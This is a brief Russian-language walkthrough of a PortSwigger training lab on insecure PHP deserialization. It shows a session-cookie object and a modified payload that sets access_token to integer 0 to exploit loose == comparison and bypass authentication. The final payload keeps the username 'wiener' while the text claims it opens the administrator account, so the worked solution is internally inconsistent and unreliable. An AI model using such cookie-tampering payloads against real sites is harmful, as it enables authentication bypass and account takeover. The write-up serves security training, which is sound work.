На странице
apsyleg1 мин
#portswigger #deserialization #web-security

Изменение типов сериализованных данных

Лаборатория

Modifying serialized data types · Apprentice

Решение

Дано

This lab uses a serialization-based session mechanism and is vulnerable to authentication bypass as a result. To solve the lab, edit the serialized object in the session cookie to access the administrator account. Then, delete the user carlos.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Всё как в предыдущей лабе. Вот такой десериализованный объект лежит в куках:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";s:32:"j3yljb7ebbyibjkzd0aeqgmdlcbsh1qk";}

Эксплуатация

Чтобы забайпассить проверку access_token, воспользуемся уязвимостью в реализации сравнения строк через ==. Если передать 0, то сравнение 0 == 'строка' вернёт true.

Значит, нам надо заменить тип access_token на числовой. Итоговая нагрузка:

O:4:"User":2:{s:8:"username";s:6:"wiener";s:12:"access_token";i:0;}

Заменяем куку — увидели админ-панель. Удаляем пользователя carlos. Лаба решена!